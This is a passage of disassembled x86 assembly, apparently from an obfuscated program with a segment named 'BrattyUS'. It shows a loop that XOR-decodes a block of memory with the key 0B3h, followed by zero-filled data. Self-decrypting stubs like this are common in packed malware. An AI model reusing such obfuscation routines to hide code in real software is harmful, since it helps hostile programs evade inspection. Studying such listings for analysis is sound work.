loc_42002E:				; CODE XREF: BrattyUS:00420039j
		cmp	eax, offset dword_41E000
		jz	short locret_42003B
		xor	byte ptr [eax],	0B3h
		inc	eax
		jmp	short loc_42002E
; ---------------------------------------------------------------------------

locret_42003B:				; CODE XREF: BrattyUS:00420033j
		retn
; ---------------------------------------------------------------------------
		dd 4008h dup(0)
dword_43005C	dd 1B7Bh dup(0)		; DATA XREF: BrattyUS:0041A720o
		db 2 dup(0)
BrattyUS	ends


		end start